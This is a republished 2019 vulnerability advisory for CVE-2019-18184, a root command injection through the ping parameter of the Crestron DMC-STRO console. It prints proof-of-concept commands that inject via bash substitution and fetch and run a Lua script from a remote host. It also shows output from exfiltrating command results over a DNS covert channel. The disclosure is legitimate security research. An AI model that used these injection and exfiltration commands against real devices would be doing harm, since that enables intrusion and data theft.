cyberleap.it

← Security practice

CYBERLEAP — SECURITY ADVISORY PUBLISHED 27 NOV 2019

# Crestron DMC-STRO Remote Root RCE

## CVE-2019-18184

This advisory was originally published in 2019 by Quantum Leap S.r.l. at `quantumleap.it`, where the discovery was made. That host is no longer serving it, so the original technical content is reproduced below from the Internet Archive snapshot of 21 December 2020 — to keep a stable, citable URL for the record referenced by NVD. The research was carried out by Gabrio Tognozzi, now founder of Cyberleap. The summary table, this note and the 2026 republication entry in the timeline were added here; the advisory body itself is the 2019 text.

| | |
|---|---|
| CVE ID<br>CVE-2019-18184 | AFFECTED PRODUCT<br>Crestron DMC-STRO, firmware 1.0 |
| CLASS<br>OS Command Injection (CWE-78) → remote code execution | CVSS V3.1<br>9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| DISCOVERER<br>Gabrio Tognozzi | PUBLISHED<br>27 November 2019 |

## Executive summary

A critical vulnerability was discovered in the CTP console of the Crestron DMC-STRO device that allows, through bash command substitution, execution of commands on the system on behalf of the root user.

## Technical detail

The CTP console allows, through bash command substitution on the parameters of the `ping` command, execution of commands on the device on behalf of the root user.

```
DMC-STRO_CODEC>ping 8.8.8.$(sleep 3; echo 8;)
ping 8.8.8.$(sleep 3; echo 8;)
Remote Node (8.8.8.8) is alive

DMC-STRO_CODEC>
```

RCE ON DMC-STRO VIA PING PARAMETERS

Using a DNS covert channel it was possible to enumerate the binaries available under `/bin` and `/usr/bin`. Enumerating the content of those directories revealed that the Lua interpreter was available. A Lua script was then written to execute commands on the target, encode the result into base64 chunks, and send them back to the C2 through DNS queries.

```
DMC-STRO_CODEC>ping $( wget http://[redacted]/pttest_09.lua ; echo 8; ).8.8.8
ping $( wget http://[redacted]:443/pttest_09.lua ; echo 8; ).8.8.8
Remote Node (8.8.8.8) is alive

DMC-STRO_CODEC>ping $( tmp=$(lua pttest_09.lua "uname -a" ) ; echo 8 ; ).8.8.8
ping $( tmp=$(lua pttest_09.lua "uname -a" ) ; echo 8 ; ).8.8.8
Remote Node (8.8.8.8) is alive

DMC-STRO_CODEC>
Respuesta: 0-TGludXggRE1DLVN.tunnel.quantumleap.it
Respuesta: 0-TGludXggRE1DLVN.tunnel.quantumleap.it
Respuesta: 0-TGludXggRE1DLVN.tunnel.quantumleap.it
Respuesta: 1-UUk8tMiAyLjYuMz.tunnel.quantumleap.it
Respuesta: 2-AubW9iaS5tZXJsa.tunnel.quantumleap.it
Respuesta: 2-AubW9iaS5tZXJsa.tunnel.quantumleap.it
Respuesta: 3-W4tbWczNTAwLmN1.tunnel.quantumleap.it
Respuesta: 3-W4tbWczNTAwLmN1.tunnel.quantumleap.it
Respuesta: 3-W4tbWczNTAwLmN1.tunnel.quantumleap.it
Respuesta: 4-c3RvbSAjMSBQUkV.tunnel.quantumleap.it
Respuesta: 5-FTVBUIFdlZCBNYX.tunnel.quantumleap.it
Respuesta: 6-IgMTEgMTQ6MDg6M.tunnel.quantumleap.it
Respuesta: 6-IgMTEgMTQ6MDg6M.tunnel.quantumleap.it
Respuesta: 6-IgMTEgMTQ6MDg6M.tunnel.quantumleap.it
Respuesta: 6-IgMTEgMTQ6MDg6M.tunnel.quantumleap.it
Respuesta: 7-zMgRURUIDIwMTUg.tunnel.quantumleap.it
Respuesta: 8-YXJtdjV0ZWpsIEd.tunnel.quantumleap.it
Respuesta: 9-OVS9MaW51eAo=.tunnel.quantumleap.it.
```

EXFILTRATION OVER A DNS COVERT CHANNEL

From the C2 it is then possible to re-chain the base64 chunks and decode the payload to obtain the output of the executed command.

```
[redacted]# echo TGludXggRE1DLVNUUk8tMiAyLjYuMzAubW9iaS5tZXJsaW4tbWczNTAwLmN1c
3RvbSAjMSBQUkVFTVBUIFdlZCBNYXIgMTEgMTQ6MDg6MzMgRURUIDIwMTUgYXJtdjV0ZWpsIEdOVS9M
aW51eAo= | base64 -d
Linux DMC-STRO-2 2.6.30.mobi.merlin-mg3500.custom #1 PREEMPT Wed Mar 11 14:08:3
3 EDT 2015 armv5tejl GNU/Linux
[redacted]#
```

DECODING THE BASE64-ENCODED PAYLOAD

## Remediation

Block such connections with a firewall rule, and update the DMC-STRO firmware.

## Disclosure timeline

| | |
|---|---|
| 19 September 2019 | Vulnerability reported to the vendor. |
| 7 October 2019 | Vendor confirmed the issue was queued for a fix. |
| 27 November 2019 | Vulnerability details published. |
| 6 August 2026 | Advisory republished here after the original host went offline. |

## References

NVD — CVE-2019-18184

CVE Record — CVE-2019-18184

Original advisory — Quantum Leap S.r.l. (Internet Archive, 21 December 2020)

P.IVA 02388630564

info@cyberleap.it

Privacy Policy